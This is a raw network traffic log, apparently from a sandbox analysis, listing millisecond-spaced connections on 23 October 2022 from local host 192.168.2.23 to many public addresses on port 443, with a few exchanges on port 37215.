Oct 23, 2022 17:56:37.098381996 CEST	37215	20337	176.107.18.178	192.168.2.23
Oct 23, 2022 17:56:37.098450899 CEST	20337	37215	192.168.2.23	176.107.18.178
Oct 23, 2022 17:56:37.098997116 CEST	40264	443	192.168.2.23	212.207.190.220
Oct 23, 2022 17:56:37.099015951 CEST	35234	443	192.168.2.23	123.150.199.39
Oct 23, 2022 17:56:37.099023104 CEST	443	40264	212.207.190.220	192.168.2.23
Oct 23, 2022 17:56:37.099039078 CEST	443	35234	123.150.199.39	192.168.2.23
Oct 23, 2022 17:56:37.099073887 CEST	40264	443	192.168.2.23	212.207.190.220
Oct 23, 2022 17:56:37.099081993 CEST	35234	443	192.168.2.23	123.150.199.39
Oct 23, 2022 17:56:37.099912882 CEST	54804	443	192.168.2.23	117.27.118.194
Oct 23, 2022 17:56:37.099936962 CEST	443	54804	117.27.118.194	192.168.2.23
Oct 23, 2022 17:56:37.099984884 CEST	54804	443	192.168.2.23	117.27.118.194
Oct 23, 2022 17:56:37.099996090 CEST	443	54804	117.27.118.194	192.168.2.23
Oct 23, 2022 17:56:37.100003958 CEST	443	54804	117.27.118.194	192.168.2.23
Oct 23, 2022 17:56:37.100052118 CEST	42316	443	192.168.2.23	118.56.49.56
Oct 23, 2022 17:56:37.100052118 CEST	42316	443	192.168.2.23	118.56.49.56
Oct 23, 2022 17:56:37.100066900 CEST	48320	443	192.168.2.23	94.78.214.180
Oct 23, 2022 17:56:37.100075960 CEST	443	42316	118.56.49.56	192.168.2.23
Oct 23, 2022 17:56:37.100099087 CEST	38210	443	192.168.2.23	42.151.233.221
Oct 23, 2022 17:56:37.100100994 CEST	443	48320	94.78.214.180	192.168.2.23
Oct 23, 2022 17:56:37.100117922 CEST	443	42316	118.56.49.56	192.168.2.23
Oct 23, 2022 17:56:37.100126982 CEST	48320	443	192.168.2.23	94.78.214.180
Oct 23, 2022 17:56:37.100128889 CEST	443	38210	42.151.233.221	192.168.2.23
Oct 23, 2022 17:56:37.100172043 CEST	38210	443	192.168.2.23	42.151.233.221
Oct 23, 2022 17:56:37.100172043 CEST	36672	443	192.168.2.23	212.72.137.61
Oct 23, 2022 17:56:37.100203991 CEST	443	36672	212.72.137.61	192.168.2.23
Oct 23, 2022 17:56:37.100219011 CEST	443	38210	42.151.233.221	192.168.2.23
Oct 23, 2022 17:56:37.100224972 CEST	36672	443	192.168.2.23	212.72.137.61
Oct 23, 2022 17:56:37.100244999 CEST	57706	443	192.168.2.23	210.80.10.209
Oct 23, 2022 17:56:37.100245953 CEST	57706	443	192.168.2.23	210.80.10.209
Oct 23, 2022 17:56:37.100249052 CEST	443	48320	94.78.214.180	192.168.2.23
Oct 23, 2022 17:56:37.100266933 CEST	443	57706	210.80.10.209	192.168.2.23
Oct 23, 2022 17:56:37.100274086 CEST	443	36672	212.72.137.61	192.168.2.23
Oct 23, 2022 17:56:37.100277901 CEST	57966	443	192.168.2.23	2.132.212.53
Oct 23, 2022 17:56:37.100305080 CEST	443	57966	2.132.212.53	192.168.2.23
Oct 23, 2022 17:56:37.100331068 CEST	35156	443	192.168.2.23	148.70.65.189
Oct 23, 2022 17:56:37.100333929 CEST	443	57706	210.80.10.209	192.168.2.23
Oct 23, 2022 17:56:37.100333929 CEST	57966	443	192.168.2.23	2.132.212.53
Oct 23, 2022 17:56:37.100346088 CEST	443	35156	148.70.65.189	192.168.2.23
Oct 23, 2022 17:56:37.100368977 CEST	35156	443	192.168.2.23	148.70.65.189
Oct 23, 2022 17:56:37.100378990 CEST	443	57966	2.132.212.53	192.168.2.23
Oct 23, 2022 17:56:37.100406885 CEST	57266	443	192.168.2.23	212.18.203.238
Oct 23, 2022 17:56:37.100442886 CEST	443	57266	212.18.203.238	192.168.2.23
Oct 23, 2022 17:56:37.100466967 CEST	57266	443	192.168.2.23	212.18.203.238
Oct 23, 2022 17:56:37.100469112 CEST	34110	443	192.168.2.23	178.232.27.88
Oct 23, 2022 17:56:37.100469112 CEST	34110	443	192.168.2.23	178.232.27.88
Oct 23, 2022 17:56:37.100486040 CEST	443	34110	178.232.27.88	192.168.2.23
Oct 23, 2022 17:56:37.100501060 CEST	55736	443	192.168.2.23	212.103.212.104
Oct 23, 2022 17:56:37.100508928 CEST	443	34110	178.232.27.88	192.168.2.23
Oct 23, 2022 17:56:37.100519896 CEST	443	57266	212.18.203.238	192.168.2.23
Oct 23, 2022 17:56:37.100533009 CEST	443	55736	212.103.212.104	192.168.2.23
Oct 23, 2022 17:56:37.100554943 CEST	443	35156	148.70.65.189	192.168.2.23
Oct 23, 2022 17:56:37.100564003 CEST	55736	443	192.168.2.23	212.103.212.104
Oct 23, 2022 17:56:37.100589037 CEST	53232	443	192.168.2.23	94.134.204.245
Oct 23, 2022 17:56:37.100613117 CEST	443	53232	94.134.204.245	192.168.2.23
Oct 23, 2022 17:56:37.100620985 CEST	54376	443	192.168.2.23	202.174.147.220
Oct 23, 2022 17:56:37.100630999 CEST	53232	443	192.168.2.23	94.134.204.245
Oct 23, 2022 17:56:37.100650072 CEST	443	54376	202.174.147.220	192.168.2.23
Oct 23, 2022 17:56:37.100653887 CEST	60610	443	192.168.2.23	148.161.147.76
Oct 23, 2022 17:56:37.100670099 CEST	54376	443	192.168.2.23	202.174.147.220
Oct 23, 2022 17:56:37.100684881 CEST	443	60610	148.161.147.76	192.168.2.23
Oct 23, 2022 17:56:37.100707054 CEST	60610	443	192.168.2.23	148.161.147.76
Oct 23, 2022 17:56:37.100708008 CEST	443	54376	202.174.147.220	192.168.2.23
Oct 23, 2022 17:56:37.100707054 CEST	43414	443	192.168.2.23	37.127.85.133
Oct 23, 2022 17:56:37.100723982 CEST	443	55736	212.103.212.104	192.168.2.23
Oct 23, 2022 17:56:37.100744009 CEST	443	43414	37.127.85.133	192.168.2.23
Oct 23, 2022 17:56:37.100770950 CEST	43414	443	192.168.2.23	37.127.85.133
Oct 23, 2022 17:56:37.100776911 CEST	443	60610	148.161.147.76	192.168.2.23
Oct 23, 2022 17:56:37.100795031 CEST	443	43414	37.127.85.133	192.168.2.23
Oct 23, 2022 17:56:37.100811958 CEST	53808	443	192.168.2.23	2.201.93.134
Oct 23, 2022 17:56:37.100811958 CEST	53808	443	192.168.2.23	2.201.93.134
Oct 23, 2022 17:56:37.100816965 CEST	44348	443	192.168.2.23	94.100.118.207
Oct 23, 2022 17:56:37.100825071 CEST	443	53232	94.134.204.245	192.168.2.23
Oct 23, 2022 17:56:37.100831985 CEST	443	53808	2.201.93.134	192.168.2.23
Oct 23, 2022 17:56:37.100836992 CEST	443	44348	94.100.118.207	192.168.2.23
Oct 23, 2022 17:56:37.100851059 CEST	44348	443	192.168.2.23	94.100.118.207
Oct 23, 2022 17:56:37.100876093 CEST	49398	443	192.168.2.23	109.115.136.200
Oct 23, 2022 17:56:37.100886106 CEST	443	53808	2.201.93.134	192.168.2.23
Oct 23, 2022 17:56:37.100905895 CEST	443	49398	109.115.136.200	192.168.2.23
Oct 23, 2022 17:56:37.100923061 CEST	48454	443	192.168.2.23	109.133.196.242
Oct 23, 2022 17:56:37.100925922 CEST	49398	443	192.168.2.23	109.115.136.200
Oct 23, 2022 17:56:37.100939989 CEST	443	44348	94.100.118.207	192.168.2.23
Oct 23, 2022 17:56:37.100941896 CEST	443	48454	109.133.196.242	192.168.2.23
Oct 23, 2022 17:56:37.100954056 CEST	48454	443	192.168.2.23	109.133.196.242
Oct 23, 2022 17:56:37.100969076 CEST	39174	443	192.168.2.23	117.200.155.237
Oct 23, 2022 17:56:37.101003885 CEST	443	39174	117.200.155.237	192.168.2.23
Oct 23, 2022 17:56:37.101023912 CEST	39174	443	192.168.2.23	117.200.155.237
Oct 23, 2022 17:56:37.101023912 CEST	47174	443	192.168.2.23	210.110.116.93
Oct 23, 2022 17:56:37.101054907 CEST	443	47174	210.110.116.93	192.168.2.23
Oct 23, 2022 17:56:37.101074934 CEST	47174	443	192.168.2.23	210.110.116.93
Oct 23, 2022 17:56:37.101074934 CEST	54370	443	192.168.2.23	79.138.161.205
Oct 23, 2022 17:56:37.101103067 CEST	443	54370	79.138.161.205	192.168.2.23
Oct 23, 2022 17:56:37.101115942 CEST	60096	443	192.168.2.23	123.113.181.188
Oct 23, 2022 17:56:37.101119995 CEST	54370	443	192.168.2.23	79.138.161.205
Oct 23, 2022 17:56:37.101150990 CEST	443	49398	109.115.136.200	192.168.2.23
Oct 23, 2022 17:56:37.101150990 CEST	443	60096	123.113.181.188	192.168.2.23
Oct 23, 2022 17:56:37.101169109 CEST	37770	443	192.168.2.23	5.251.158.151
Oct 23, 2022 17:56:37.101171017 CEST	60096	443	192.168.2.23	123.113.181.188
Oct 23, 2022 17:56:37.101192951 CEST	443	37770	5.251.158.151	192.168.2.23
Oct 23, 2022 17:56:37.101196051 CEST	443	60096	123.113.181.188	192.168.2.23
Oct 23, 2022 17:56:37.101212978 CEST	37770	443	192.168.2.23	5.251.158.151
Oct 23, 2022 17:56:37.101219893 CEST	55046	443	192.168.2.23	148.30.90.251
Oct 23, 2022 17:56:37.101224899 CEST	443	37770	5.251.158.151	192.168.2.23
Oct 23, 2022 17:56:37.101246119 CEST	443	48454	109.133.196.242	192.168.2.23
Oct 23, 2022 17:56:37.101248980 CEST	443	55046	148.30.90.251	192.168.2.23
Oct 23, 2022 17:56:37.101277113 CEST	55046	443	192.168.2.23	148.30.90.251
Oct 23, 2022 17:56:37.101296902 CEST	60340	443	192.168.2.23	148.207.14.235
Oct 23, 2022 17:56:37.101304054 CEST	443	39174	117.200.155.237	192.168.2.23
Oct 23, 2022 17:56:37.101331949 CEST	443	60340	148.207.14.235	192.168.2.23
Oct 23, 2022 17:56:37.101334095 CEST	443	47174	210.110.116.93	192.168.2.23
Oct 23, 2022 17:56:37.101342916 CEST	57010	443	192.168.2.23	123.204.62.228
Oct 23, 2022 17:56:37.101351023 CEST	60340	443	192.168.2.23	148.207.14.235
Oct 23, 2022 17:56:37.101361036 CEST	443	54370	79.138.161.205	192.168.2.23
Oct 23, 2022 17:56:37.101382017 CEST	443	57010	123.204.62.228	192.168.2.23
Oct 23, 2022 17:56:37.101382971 CEST	50744	443	192.168.2.23	148.83.209.48
Oct 23, 2022 17:56:37.101399899 CEST	57010	443	192.168.2.23	123.204.62.228
Oct 23, 2022 17:56:37.101406097 CEST	443	55046	148.30.90.251	192.168.2.23
Oct 23, 2022 17:56:37.101422071 CEST	50744	443	192.168.2.23	148.83.209.48
Oct 23, 2022 17:56:37.101429939 CEST	443	50744	148.83.209.48	192.168.2.23
Oct 23, 2022 17:56:37.101438999 CEST	41598	443	192.168.2.23	117.92.89.20
Oct 23, 2022 17:56:37.101459026 CEST	443	57010	123.204.62.228	192.168.2.23
Oct 23, 2022 17:56:37.101471901 CEST	443	41598	117.92.89.20	192.168.2.23
Oct 23, 2022 17:56:37.101481915 CEST	443	60340	148.207.14.235	192.168.2.23
Oct 23, 2022 17:56:37.101495981 CEST	41598	443	192.168.2.23	117.92.89.20
Oct 23, 2022 17:56:37.101502895 CEST	50862	443	192.168.2.23	212.119.85.113
Oct 23, 2022 17:56:37.101526976 CEST	443	50862	212.119.85.113	192.168.2.23
Oct 23, 2022 17:56:37.101543903 CEST	443	50744	148.83.209.48	192.168.2.23
Oct 23, 2022 17:56:37.101548910 CEST	38254	443	192.168.2.23	37.54.179.192
Oct 23, 2022 17:56:37.101552010 CEST	50862	443	192.168.2.23	212.119.85.113
Oct 23, 2022 17:56:37.101573944 CEST	443	38254	37.54.179.192	192.168.2.23
Oct 23, 2022 17:56:37.101596117 CEST	38254	443	192.168.2.23	37.54.179.192
Oct 23, 2022 17:56:37.101600885 CEST	36890	443	192.168.2.23	212.109.127.54
Oct 23, 2022 17:56:37.101632118 CEST	443	36890	212.109.127.54	192.168.2.23
Oct 23, 2022 17:56:37.101650953 CEST	36890	443	192.168.2.23	212.109.127.54
Oct 23, 2022 17:56:37.101656914 CEST	56362	443	192.168.2.23	178.203.138.149
Oct 23, 2022 17:56:37.101661921 CEST	443	41598	117.92.89.20	192.168.2.23
Oct 23, 2022 17:56:37.101666927 CEST	443	50862	212.119.85.113	192.168.2.23
Oct 23, 2022 17:56:37.101676941 CEST	443	56362	178.203.138.149	192.168.2.23
Oct 23, 2022 17:56:37.101687908 CEST	443	36890	212.109.127.54	192.168.2.23
Oct 23, 2022 17:56:37.101691008 CEST	45480	443	192.168.2.23	94.140.183.59
Oct 23, 2022 17:56:37.101692915 CEST	56362	443	192.168.2.23	178.203.138.149
Oct 23, 2022 17:56:37.101715088 CEST	443	45480	94.140.183.59	192.168.2.23
Oct 23, 2022 17:56:37.101739883 CEST	45480	443	192.168.2.23	94.140.183.59
Oct 23, 2022 17:56:37.101741076 CEST	443	56362	178.203.138.149	192.168.2.23
Oct 23, 2022 17:56:37.101758957 CEST	48762	443	192.168.2.23	5.173.144.154
Oct 23, 2022 17:56:37.101780891 CEST	443	48762	5.173.144.154	192.168.2.23
Oct 23, 2022 17:56:37.101797104 CEST	443	45480	94.140.183.59	192.168.2.23
Oct 23, 2022 17:56:37.101799965 CEST	48762	443	192.168.2.23	5.173.144.154
Oct 23, 2022 17:56:37.101825953 CEST	443	38254	37.54.179.192	192.168.2.23
Oct 23, 2022 17:56:37.101851940 CEST	59494	443	192.168.2.23	123.158.158.175
Oct 23, 2022 17:56:37.101851940 CEST	59494	443	192.168.2.23	123.158.158.175
Oct 23, 2022 17:56:37.101854086 CEST	38464	443	192.168.2.23	123.226.41.33
Oct 23, 2022 17:56:37.101859093 CEST	443	48762	5.173.144.154	192.168.2.23
Oct 23, 2022 17:56:37.101874113 CEST	443	59494	123.158.158.175	192.168.2.23
Oct 23, 2022 17:56:37.101883888 CEST	443	38464	123.226.41.33	192.168.2.23
Oct 23, 2022 17:56:37.101890087 CEST	38464	443	192.168.2.23	123.226.41.33
Oct 23, 2022 17:56:37.101906061 CEST	443	38464	123.226.41.33	192.168.2.23
Oct 23, 2022 17:56:37.101907015 CEST	55632	443	192.168.2.23	94.88.182.24
Oct 23, 2022 17:56:37.101939917 CEST	443	55632	94.88.182.24	192.168.2.23
Oct 23, 2022 17:56:37.101946115 CEST	443	59494	123.158.158.175	192.168.2.23
Oct 23, 2022 17:56:37.101948977 CEST	46022	443	192.168.2.23	2.29.192.74
Oct 23, 2022 17:56:37.101958036 CEST	55632	443	192.168.2.23	94.88.182.24
Oct 23, 2022 17:56:37.101963997 CEST	443	46022	2.29.192.74	192.168.2.23
Oct 23, 2022 17:56:37.101986885 CEST	56136	443	192.168.2.23	123.75.6.153
Oct 23, 2022 17:56:37.101994991 CEST	46022	443	192.168.2.23	2.29.192.74
Oct 23, 2022 17:56:37.101998091 CEST	443	55632	94.88.182.24	192.168.2.23
Oct 23, 2022 17:56:37.102001905 CEST	443	56136	123.75.6.153	192.168.2.23
Oct 23, 2022 17:56:37.102019072 CEST	56136	443	192.168.2.23	123.75.6.153
Oct 23, 2022 17:56:37.102030039 CEST	443	46022	2.29.192.74	192.168.2.23
Oct 23, 2022 17:56:37.102037907 CEST	57428	443	192.168.2.23	42.29.44.5
Oct 23, 2022 17:56:37.102061987 CEST	443	57428	42.29.44.5	192.168.2.23
Oct 23, 2022 17:56:37.102073908 CEST	443	56136	123.75.6.153	192.168.2.23
Oct 23, 2022 17:56:37.102077007 CEST	57428	443	192.168.2.23	42.29.44.5
Oct 23, 2022 17:56:37.102092028 CEST	55368	443	192.168.2.23	212.137.200.100
Oct 23, 2022 17:56:37.102118969 CEST	443	57428	42.29.44.5	192.168.2.23
Oct 23, 2022 17:56:37.102123976 CEST	443	55368	212.137.200.100	192.168.2.23
Oct 23, 2022 17:56:37.102144003 CEST	55368	443	192.168.2.23	212.137.200.100
Oct 23, 2022 17:56:37.102148056 CEST	38900	443	192.168.2.23	2.196.122.87
Oct 23, 2022 17:56:37.102150917 CEST	443	55368	212.137.200.100	192.168.2.23
Oct 23, 2022 17:56:37.102168083 CEST	443	38900	2.196.122.87	192.168.2.23
Oct 23, 2022 17:56:37.102169037 CEST	443	55368	212.137.200.100	192.168.2.23
Oct 23, 2022 17:56:37.102180004 CEST	38900	443	192.168.2.23	2.196.122.87
Oct 23, 2022 17:56:37.102205992 CEST	38524	443	192.168.2.23	210.175.186.77
Oct 23, 2022 17:56:37.102230072 CEST	443	38524	210.175.186.77	192.168.2.23
Oct 23, 2022 17:56:37.102251053 CEST	38524	443	192.168.2.23	210.175.186.77
Oct 23, 2022 17:56:37.102257013 CEST	443	38900	2.196.122.87	192.168.2.23
Oct 23, 2022 17:56:37.102262974 CEST	443	38524	210.175.186.77	192.168.2.23
Oct 23, 2022 17:56:37.102266073 CEST	57838	443	192.168.2.23	210.106.248.82
Oct 23, 2022 17:56:37.102293968 CEST	443	57838	210.106.248.82	192.168.2.23
Oct 23, 2022 17:56:37.102317095 CEST	57838	443	192.168.2.23	210.106.248.82
Oct 23, 2022 17:56:37.102320910 CEST	443	57838	210.106.248.82	192.168.2.23
Oct 23, 2022 17:56:37.102325916 CEST	34570	443	192.168.2.23	212.91.251.48
Oct 23, 2022 17:56:37.102339983 CEST	443	57838	210.106.248.82	192.168.2.23
Oct 23, 2022 17:56:37.102349043 CEST	443	34570	212.91.251.48	192.168.2.23
Oct 23, 2022 17:56:37.102370977 CEST	34570	443	192.168.2.23	212.91.251.48
Oct 23, 2022 17:56:37.102380037 CEST	443	34570	212.91.251.48	192.168.2.23
Oct 23, 2022 17:56:37.102394104 CEST	443	34570	212.91.251.48	192.168.2.23
Oct 23, 2022 17:56:37.102401018 CEST	59838	443	192.168.2.23	202.126.57.25
Oct 23, 2022 17:56:37.102427959 CEST	443	59838	202.126.57.25	192.168.2.23
Oct 23, 2022 17:56:37.102442026 CEST	36536	443	192.168.2.23	5.224.199.56
Oct 23, 2022 17:56:37.102447033 CEST	59838	443	192.168.2.23	202.126.57.25
Oct 23, 2022 17:56:37.102459908 CEST	443	36536	5.224.199.56	192.168.2.23
Oct 23, 2022 17:56:37.102473974 CEST	443	59838	202.126.57.25	192.168.2.23
Oct 23, 2022 17:56:37.102473974 CEST	36536	443	192.168.2.23	5.224.199.56
Oct 23, 2022 17:56:37.102478027 CEST	443	36536	5.224.199.56	192.168.2.23
Oct 23, 2022 17:56:37.102488041 CEST	443	36536	5.224.199.56	192.168.2.23
Oct 23, 2022 17:56:37.102505922 CEST	49104	443	192.168.2.23	212.50.210.201
Oct 23, 2022 17:56:37.102536917 CEST	443	49104	212.50.210.201	192.168.2.23
Oct 23, 2022 17:56:37.102550983 CEST	49104	443	192.168.2.23	212.50.210.201
Oct 23, 2022 17:56:37.102555990 CEST	52402	443	192.168.2.23	210.161.66.200
Oct 23, 2022 17:56:37.102585077 CEST	443	52402	210.161.66.200	192.168.2.23
Oct 23, 2022 17:56:37.102600098 CEST	58060	443	192.168.2.23	123.255.14.73
Oct 23, 2022 17:56:37.102602959 CEST	52402	443	192.168.2.23	210.161.66.200
Oct 23, 2022 17:56:37.102615118 CEST	443	52402	210.161.66.200	192.168.2.23
Oct 23, 2022 17:56:37.102621078 CEST	443	52402	210.161.66.200	192.168.2.23
Oct 23, 2022 17:56:37.102627993 CEST	443	58060	123.255.14.73	192.168.2.23
Oct 23, 2022 17:56:37.102644920 CEST	58060	443	192.168.2.23	123.255.14.73
Oct 23, 2022 17:56:37.102668047 CEST	443	58060	123.255.14.73	192.168.2.23
Oct 23, 2022 17:56:37.102673054 CEST	37088	443	192.168.2.23	109.108.30.173
Oct 23, 2022 17:56:37.102673054 CEST	443	49104	212.50.210.201	192.168.2.23
Oct 23, 2022 17:56:37.102694035 CEST	443	37088	109.108.30.173	192.168.2.23
Oct 23, 2022 17:56:37.102708101 CEST	37088	443	192.168.2.23	109.108.30.173
Oct 23, 2022 17:56:37.102711916 CEST	443	37088	109.108.30.173	192.168.2.23
Oct 23, 2022 17:56:37.102722883 CEST	443	37088	109.108.30.173	192.168.2.23
Oct 23, 2022 17:56:37.102734089 CEST	35390	443	192.168.2.23	42.6.94.132
Oct 23, 2022 17:56:37.102758884 CEST	443	35390	42.6.94.132	192.168.2.23
Oct 23, 2022 17:56:37.102776051 CEST	35390	443	192.168.2.23	42.6.94.132
Oct 23, 2022 17:56:37.102777004 CEST	443	35390	42.6.94.132	192.168.2.23
Oct 23, 2022 17:56:37.102780104 CEST	33688	443	192.168.2.23	212.129.164.233
Oct 23, 2022 17:56:37.102791071 CEST	443	35390	42.6.94.132	192.168.2.23
Oct 23, 2022 17:56:37.102796078 CEST	443	33688	212.129.164.233	192.168.2.23
Oct 23, 2022 17:56:37.102812052 CEST	33688	443	192.168.2.23	212.129.164.233
Oct 23, 2022 17:56:37.102826118 CEST	40146	443	192.168.2.23	42.26.66.196
Oct 23, 2022 17:56:37.102840900 CEST	443	40146	42.26.66.196	192.168.2.23
Oct 23, 2022 17:56:37.102852106 CEST	443	33688	212.129.164.233	192.168.2.23
Oct 23, 2022 17:56:37.102854967 CEST	40146	443	192.168.2.23	42.26.66.196
Oct 23, 2022 17:56:37.102886915 CEST	443	40146	42.26.66.196	192.168.2.23
Oct 23, 2022 17:56:37.102912903 CEST	46470	443	192.168.2.23	148.250.142.138
Oct 23, 2022 17:56:37.102938890 CEST	443	46470	148.250.142.138	192.168.2.23
Oct 23, 2022 17:56:37.102961063 CEST	46470	443	192.168.2.23	148.250.142.138
Oct 23, 2022 17:56:37.102963924 CEST	443	46470	148.250.142.138	192.168.2.23
Oct 23, 2022 17:56:37.102973938 CEST	443	46470	148.250.142.138	192.168.2.23
Oct 23, 2022 17:56:37.102977037 CEST	47444	443	192.168.2.23	210.1.54.205
Oct 23, 2022 17:56:37.103003979 CEST	443	47444	210.1.54.205	192.168.2.23
Oct 23, 2022 17:56:37.103024960 CEST	47444	443	192.168.2.23	210.1.54.205
Oct 23, 2022 17:56:37.103025913 CEST	443	47444	210.1.54.205	192.168.2.23
Oct 23, 2022 17:56:37.103039026 CEST	443	47444	210.1.54.205	192.168.2.23
Oct 23, 2022 17:56:37.103041887 CEST	58872	443	192.168.2.23	202.231.142.11
Oct 23, 2022 17:56:37.103084087 CEST	443	58872	202.231.142.11	192.168.2.23
Oct 23, 2022 17:56:37.103101969 CEST	58872	443	192.168.2.23	202.231.142.11
Oct 23, 2022 17:56:37.103101969 CEST	45720	443	192.168.2.23	212.58.186.141
Oct 23, 2022 17:56:37.103101969 CEST	45720	443	192.168.2.23	212.58.186.141
Oct 23, 2022 17:56:37.103110075 CEST	41044	443	192.168.2.23	117.231.52.102
Oct 23, 2022 17:56:37.103126049 CEST	443	41044	117.231.52.102	192.168.2.23
Oct 23, 2022 17:56:37.103136063 CEST	443	58872	202.231.142.11	192.168.2.23
Oct 23, 2022 17:56:37.103142977 CEST	443	45720	212.58.186.141	192.168.2.23
Oct 23, 2022 17:56:37.103153944 CEST	41044	443	192.168.2.23	117.231.52.102
Oct 23, 2022 17:56:37.103166103 CEST	443	58872	202.231.142.11	192.168.2.23
Oct 23, 2022 17:56:37.103164911 CEST	42748	443	192.168.2.23	109.162.62.59
Oct 23, 2022 17:56:37.103194952 CEST	443	42748	109.162.62.59	192.168.2.23
Oct 23, 2022 17:56:37.103199959 CEST	443	41044	117.231.52.102	192.168.2.23
Oct 23, 2022 17:56:37.103212118 CEST	42748	443	192.168.2.23	109.162.62.59
Oct 23, 2022 17:56:37.103215933 CEST	44904	443	192.168.2.23	37.147.29.235
Oct 23, 2022 17:56:37.103235960 CEST	443	44904	37.147.29.235	192.168.2.23
Oct 23, 2022 17:56:37.103236914 CEST	443	42748	109.162.62.59	192.168.2.23
Oct 23, 2022 17:56:37.103241920 CEST	443	45720	212.58.186.141	192.168.2.23
Oct 23, 2022 17:56:37.103282928 CEST	44904	443	192.168.2.23	37.147.29.235
Oct 23, 2022 17:56:37.103291988 CEST	443	44904	37.147.29.235	192.168.2.23
Oct 23, 2022 17:56:37.103297949 CEST	443	44904	37.147.29.235	192.168.2.23
Oct 23, 2022 17:56:37.103316069 CEST	38462	443	192.168.2.23	37.122.174.104
Oct 23, 2022 17:56:37.103339911 CEST	443	38462	37.122.174.104	192.168.2.23
Oct 23, 2022 17:56:37.103353024 CEST	46368	443	192.168.2.23	42.99.72.217
Oct 23, 2022 17:56:37.103357077 CEST	38462	443	192.168.2.23	37.122.174.104
Oct 23, 2022 17:56:37.103379011 CEST	443	46368	42.99.72.217	192.168.2.23
Oct 23, 2022 17:56:37.103399992 CEST	46368	443	192.168.2.23	42.99.72.217
Oct 23, 2022 17:56:37.103404999 CEST	443	38462	37.122.174.104	192.168.2.23
Oct 23, 2022 17:56:37.103409052 CEST	41710	443	192.168.2.23	148.206.158.113
Oct 23, 2022 17:56:37.103425980 CEST	443	41710	148.206.158.113	192.168.2.23
Oct 23, 2022 17:56:37.103432894 CEST	443	46368	42.99.72.217	192.168.2.23
Oct 23, 2022 17:56:37.103449106 CEST	41710	443	192.168.2.23	148.206.158.113
Oct 23, 2022 17:56:37.103473902 CEST	443	41710	148.206.158.113	192.168.2.23
Oct 23, 2022 17:56:37.103477001 CEST	38574	443	192.168.2.23	42.75.6.144
Oct 23, 2022 17:56:37.103508949 CEST	443	38574	42.75.6.144	192.168.2.23
Oct 23, 2022 17:56:37.103513002 CEST	35262	443	192.168.2.23	123.135.17.129
Oct 23, 2022 17:56:37.103528023 CEST	38574	443	192.168.2.23	42.75.6.144
Oct 23, 2022 17:56:37.103549957 CEST	443	35262	123.135.17.129	192.168.2.23
Oct 23, 2022 17:56:37.103562117 CEST	48860	443	192.168.2.23	148.39.1.94
Oct 23, 2022 17:56:37.103564978 CEST	443	38574	42.75.6.144	192.168.2.23
Oct 23, 2022 17:56:37.103569984 CEST	35262	443	192.168.2.23	123.135.17.129
Oct 23, 2022 17:56:37.103578091 CEST	443	35262	123.135.17.129	192.168.2.23
Oct 23, 2022 17:56:37.103579044 CEST	443	48860	148.39.1.94	192.168.2.23
Oct 23, 2022 17:56:37.103583097 CEST	443	35262	123.135.17.129	192.168.2.23
Oct 23, 2022 17:56:37.103605986 CEST	48860	443	192.168.2.23	148.39.1.94
Oct 23, 2022 17:56:37.103617907 CEST	443	48860	148.39.1.94	192.168.2.23
Oct 23, 2022 17:56:37.103642941 CEST	40380	443	192.168.2.23	123.122.14.212
Oct 23, 2022 17:56:37.103655100 CEST	443	40380	123.122.14.212	192.168.2.23
Oct 23, 2022 17:56:37.103672981 CEST	41792	443	192.168.2.23	94.24.144.228
Oct 23, 2022 17:56:37.103682041 CEST	40380	443	192.168.2.23	123.122.14.212
Oct 23, 2022 17:56:37.103682995 CEST	443	41792	94.24.144.228	192.168.2.23
Oct 23, 2022 17:56:37.103699923 CEST	41792	443	192.168.2.23	94.24.144.228
Oct 23, 2022 17:56:37.103720903 CEST	51568	443	192.168.2.23	5.128.43.223
Oct 23, 2022 17:56:37.103734016 CEST	443	51568	5.128.43.223	192.168.2.23
Oct 23, 2022 17:56:37.103754997 CEST	51568	443	192.168.2.23	5.128.43.223
Oct 23, 2022 17:56:37.103770971 CEST	54966	443	192.168.2.23	210.240.144.210
Oct 23, 2022 17:56:37.103796005 CEST	443	54966	210.240.144.210	192.168.2.23
Oct 23, 2022 17:56:37.103817940 CEST	54966	443	192.168.2.23	210.240.144.210
Oct 23, 2022 17:56:37.103817940 CEST	33168	443	192.168.2.23	178.188.64.78
Oct 23, 2022 17:56:37.103840113 CEST	443	33168	178.188.64.78	192.168.2.23
Oct 23, 2022 17:56:37.103857040 CEST	33168	443	192.168.2.23	178.188.64.78
Oct 23, 2022 17:56:37.103859901 CEST	42568	443	192.168.2.23	123.126.166.144
Oct 23, 2022 17:56:37.103888035 CEST	443	42568	123.126.166.144	192.168.2.23
Oct 23, 2022 17:56:37.103894949 CEST	60786	443	192.168.2.23	5.187.213.151
Oct 23, 2022 17:56:37.103904009 CEST	42568	443	192.168.2.23	123.126.166.144
Oct 23, 2022 17:56:37.103908062 CEST	443	60786	5.187.213.151	192.168.2.23
Oct 23, 2022 17:56:37.103929996 CEST	60786	443	192.168.2.23	5.187.213.151
Oct 23, 2022 17:56:37.103943110 CEST	55230	443	192.168.2.23	2.205.250.37
Oct 23, 2022 17:56:37.103954077 CEST	443	55230	2.205.250.37	192.168.2.23
Oct 23, 2022 17:56:37.103971958 CEST	55230	443	192.168.2.23	2.205.250.37
Oct 23, 2022 17:56:37.103991032 CEST	46710	443	192.168.2.23	202.148.165.175
Oct 23, 2022 17:56:37.104013920 CEST	443	46710	202.148.165.175	192.168.2.23
Oct 23, 2022 17:56:37.104032040 CEST	46710	443	192.168.2.23	202.148.165.175
Oct 23, 2022 17:56:37.104042053 CEST	54112	443	192.168.2.23	37.125.248.80
Oct 23, 2022 17:56:37.104057074 CEST	443	54112	37.125.248.80	192.168.2.23
Oct 23, 2022 17:56:37.104074955 CEST	54112	443	192.168.2.23	37.125.248.80
Oct 23, 2022 17:56:37.104083061 CEST	54962	443	192.168.2.23	2.82.226.206
Oct 23, 2022 17:56:37.104093075 CEST	443	54962	2.82.226.206	192.168.2.23
Oct 23, 2022 17:56:37.104109049 CEST	54962	443	192.168.2.23	2.82.226.206
Oct 23, 2022 17:56:37.104127884 CEST	40282	443	192.168.2.23	148.179.2.10
Oct 23, 2022 17:56:37.104137897 CEST	443	40282	148.179.2.10	192.168.2.23
Oct 23, 2022 17:56:37.104157925 CEST	40282	443	192.168.2.23	148.179.2.10
Oct 23, 2022 17:56:37.104171038 CEST	35134	443	192.168.2.23	42.161.245.188
Oct 23, 2022 17:56:37.104188919 CEST	443	35134	42.161.245.188	192.168.2.23
Oct 23, 2022 17:56:37.104209900 CEST	35134	443	192.168.2.23	42.161.245.188
Oct 23, 2022 17:56:37.104264975 CEST	52432	443	192.168.2.23	5.16.96.88
